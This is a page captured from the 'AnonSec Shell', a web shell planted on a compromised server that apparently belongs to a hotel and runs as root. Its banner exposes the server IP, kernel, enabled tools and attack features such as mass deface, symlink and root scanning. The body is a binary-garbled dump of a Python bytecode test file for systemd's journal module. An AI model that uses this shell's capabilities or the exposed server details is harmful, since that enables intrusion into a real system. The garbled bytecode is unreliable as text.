AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/systemd/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/systemd/test/__pycache__/test_journal.cpython-310.pyc
o

��X]'�@s�ddlmZddlZddlZddlZddlZddlZddlZddlZddl	Z
ddlmZm
Z
ddlmZddlZe�d�Ze�d�ZGdd�d�Zejd	d
��Zejdd��Zd
d�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Z dd �Z!d!d"�Z"d#d$�Z#d%d&�Z$d'd(�Z%d)d*�Z&d+d,�Z'd-d.�Z(d/d0�Z)d1d2�Z*d3d4�Z+d5d6�Z,d7d8�Z-d9d:�Z.d;d<�Z/d=d>�Z0d?d@�Z1dAdB�Z2dS)C�)�print_functionN)�journal�id128��
_make_line� 8441372f8dca4ca98694a6091fd8519f� 8441370000000000000000001fd85000c@s"eZdZdd�Z		ddd�ZdS)�
MockSendercCs
g|_dS�N)�buf)�self�r
�;/usr/lib/python3/dist-packages/systemd/test/test_journal.py�__init__s
zMockSender.__init__Nc	Ks�d|g}|durt|d|�}|�d|�||ur%|ur%dur6nntjdd�ddd�\}}}|durA|�d|�|durM|�d	�|��|durX|�d
|�|�dd�|��D��|j�|�dS)
NzMESSAGE=�hex�MESSAGE_ID=�)�limitr�z
CODE_FILE=zCODE_LINE={:d}z
CODE_FUNC=css�|]
\}}t||�VqdSr
r)�.0�key�valr
r
r�	<genexpr>)s�z"MockSender.send.<locals>.<genexpr>)�getattr�append�
_traceback�
extract_stack�format�extend�itemsr)	r�MESSAGE�
MESSAGE_ID�	CODE_FILE�	CODE_LINE�	CODE_FUNC�kwargs�args�idr
r
r�sends
"zMockSender.send)NNNN)�__name__�
__module__�__qualname__rr(r
r
r
rr	s
�r	c
cs@�zdVWdSttfy}z
|j|krt���d}~wwr
)�OSError�IOError�errno�pytest�skip)�code�er
r
r�skip_oserror,s�
��r3ccs,�zdVWdStyt��YdSwr
)�
ValueErrorr/r0r
r
r
r�skip_valueerror5s��r5cCsptjj}|tj�tjksJ�|tj�tjksJ�|tjd�tjks$J�|tjd�tjks0J�|tjd�tjks<J�|tj�tjksFJ�|tjd�tj	ksRJ�|tj
d�tj	ks^J�|tj
�tj	kshJ�|tj
d�tjkstJ�|tjd�tjks�J�|tj�tjks�J�|tjd�tj
ks�J�|tj�tj
ks�J�|tj�tj
ks�J�|tjd�tjks�J�dS)N�)r�JournalHandler�map_priority�logging�NOTSET�	LOG_DEBUG�DEBUG�LOG_INFO�INFO�LOG_WARNING�WARN�LOG_ERR�ERROR�LOG_CRIT�FATAL�CRITICAL�	LOG_ALERT)�pr
r
r�test_priorities<s"rHcCsHddi}t�t��tjdi|��Wd�dS1swYdS)Nz X  rr
)r/�raisesr4rr7��kwr
r
r�"test_journalhandler_init_exceptionQs"�rLcCs"ddd�}tjtjfi|��dS)Nr�)�X�X3)rr7r9r>rJr
r
r�test_journalhandler_initVs
rPc	Cs�t�dtjddddd�}t�}dd|jd�}tjtjfi|��}|�|�t|j	�dks.J�d|j	d	vs7J�d
|j	d	vs@J�dS)N�test-logger�testpathr6�testrrM)rNrO�sender_functionzX=3rzX3=4)
r9�	LogRecordr>r	r(rr7�emit�lenr)�record�senderrK�handlerr
r
r�test_journalhandler_infoZs
r[c	Cslt�dtjddddd�}t�}tjtj|jd�}|�|�t|j	�dks&J�t
dd�|j	dD��s4J�dS)	NrQrRr6rS)rTcss�|]	}|�d�VqdS)rN)�
startswith)r�mr
r
rrks�z4test_journalhandler_no_message_id.<locals>.<genexpr>r)r9rUr>r	rr7r(rVrWr�all�rXrYrZr
r
r�!test_journalhandler_no_message_ides
 r`c	Csjt�dtjddddd�}t�}tjtj|jtd�}|�|�t	|j
�dks'J�dtj|j
dvs3J�dS�NrQrRr6rS�rTr!rr)r9rUr>r	rr7r(�TEST_MIDrVrWrrr_r
r
r�)test_journalhandler_message_id_on_handlerms�
rdc	Cslt�dtjddddd�}t�}tjtj|jtjd�}|�	|�t
|j�dks(J�dtj|jdvs4J�dSra)r9rUr>r	rr7r(rcrrVrWrr_r
r
r�-test_journalhandler_message_id_on_handler_hexvs�
rec	Cstt�dtjddddd�}t|jd<t�}tjtj|jt	d�}|�
|�t|j�dks,J�dtj
|jdvs8J�dS�	NrQrRr6rSr!rbrr)r9rUr>�	TEST_MID2�__dict__r	rr7r(rcrVrWrrr_r
r
r�)test_journalhandler_message_id_on_messages
�
ric	Csvt�dtjddddd�}tj|jd<t�}tjtj|j	t
d�}|�|�t|j
�dks-J�dtj|j
dvs9J�dSrf)r9rUr>rgrrhr	rr7r(rcrVrWrr_r
r
r�-test_journalhandler_message_id_on_message_hex�s�
rjcCsRt��}t�tj�}t�tj�}t�tj�}t�tjtjBtjB�}t�d�}dS)Nr)r�Reader�
LOCAL_ONLY�RUNTIME_ONLY�SYSTEM_ONLY)�j1�j2�j3�j4�j5�j6r
r
r�test_reader_init_flags�srucCs�t�t��t�tj�Wd�n1swYt��tj|jtjd�}Wd�n1s2wYt��tj|jtjtjBd�}Wd�n1sQwYtj|jtjtj	Bd�}dS)N)�path�flags)
r/rIr4rrk�OS_ROOTr5�strpath�CURRENT_USERrn)�tmpdirrorprqr
r
r�test_reader_os_root�s ���
��

�r|cCs>tj|jd�}tjd|jd�tj|jd�}tj|jd�dS)N�rvr)rrkry)r{rorpr
r
r�test_reader_init_path�sr~cCs>t�t��tjddd�Wd�dS1swYdS)Nr���r}�r/rIr,rrkr
r
r
r� test_reader_init_path_invalid_fd��"�r�cCs>t�t��tjddd�Wd�dS1swYdS)Nrr}r�r
r
r
r�%test_reader_init_path_nondirectory_fd�r�r�cCs�t�|jtj�}ttj��tj|d�}Wd�n1swYt	|�gks+J�t
��tjtj|d�}Wd�n1sAwYt	|�gksNJ�tjtj|d�}t	|�gks^J�dS�Nr})
�os�openry�O_RDONLYr3r.�ENOSYSrrk�listr5�SYSTEMrz)r{�fdrorprqr
r
r�test_reader_init_path_fd�s��r�cCs~tj|jd�}|�
|jrJ�Wd�n1swY|js#J�t�t��
t|�Wd�dS1s8wYdSr�)rrkry�closedr/rIr,�next�r{�jr
r
r�test_reader_as_cm�s�

"�r�cCsRtj|jd�}|�|�tj�|�tjj�Wd�dS1s"wYdSr�)rrkry�messageid_matchr�SD_MESSAGE_JOURNAL_START�SD_MESSAGE_JOURNAL_STOPrr�r
r
r�test_reader_messageid_match�s
"�r�cC�Vtj|jd�}|�|��|�t�|�tj�Wd�dS1s$wYdSr�)rrkry�	this_bootrcrr�r
r
r�test_reader_this_boot��
"�r�cCr�r�)rrkry�this_machinercrr�r
r
r�test_reader_this_machine�r�r�c	Cs�tj|jd�}|�"ttj��
|�d�}Wd�n1swYWd�n1s.wYt|t�s:J�|t�ksAJ�dS)Nr}�FOOBAR)	rrkryr3r.r��query_unique�
isinstance�set�r{r��ansr
r
r�test_reader_query_unique�s���r�c	Cs�tj|jd�}|�!ttj��|��}Wd�n1swYWd�n1s-wYt|t�s9J�|t�ks@J�dSr�)	rrkryr3r.r��enumerate_fieldsr�r�r�r
r
r�test_reader_enumerate_fields�s
���r�c	C�ttj|jd�}|�!ttj��|��}Wd�n1swYWd�n1s-wY|dus8J�dS�Nr}F�rrkryr3r.r��has_runtime_filesr�r
r
r�test_reader_has_runtime_files��
���r�c	Cr�r�r�r�r
r
r� test_reader_has_persistent_files�r�r�cCsPddd�i}tj|j|d�}|�dd�}|dksJ�|�dd�}|dks&J�dS)	N�xxxcS�dS�N�yyyr
��argr
r
r�<lambda>�z(test_reader_converters.<locals>.<lambda>�rv�
converters�abcr��zzz���)rrkry�_convert_field�r{r�r�rr
r
r�test_reader_converters�sr�cCs`dd�dd�d�}tj|j|d�}|�ddddgdd	gd
��}|ddddgdd	gd
�ks.J�dS)
NcSr�r�r
r�r
r
rr�
r�z+test_reader_convert_entry.<locals>.<lambda>cSr�)N�YYYr
r�r
r
rr�r�)�x1�x2r�r�r�sdefs��)r��y1r��y2r�r�)rrkry�_convert_entryr�r
r
r�test_reader_convert_entry	s���r�cCsFtj|jd�}t��}|�|�|�d�t�ddd�}|�|�dS)Nr}i90i��rM)rrkry�time�
seek_realtime�datetime)r{r��now�long_agor
r
r�test_seek_realtimes

r�cCsZttj��
t�d�}Wd�n1swY|�d�}|dvs%J�td|d�dS)Nztest_journal.pyzmessage...
)�Nzprinted message...)�file)r3r.�ENOENTr�stream�write�print)r��resr
r
r�test_journal_stream"s�
r�)3�
__future__r�
contextlibr�r.r9r�r��uuid�	tracebackr�systemdrr�systemd.journalrr/�UUIDrcrgr	�contextmanagerr3r5rHrLrPr[r`rdrerirjrur|r~r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r
r
r
r�<module>s\



		

	


Anon7 - 2022
AnonSec Team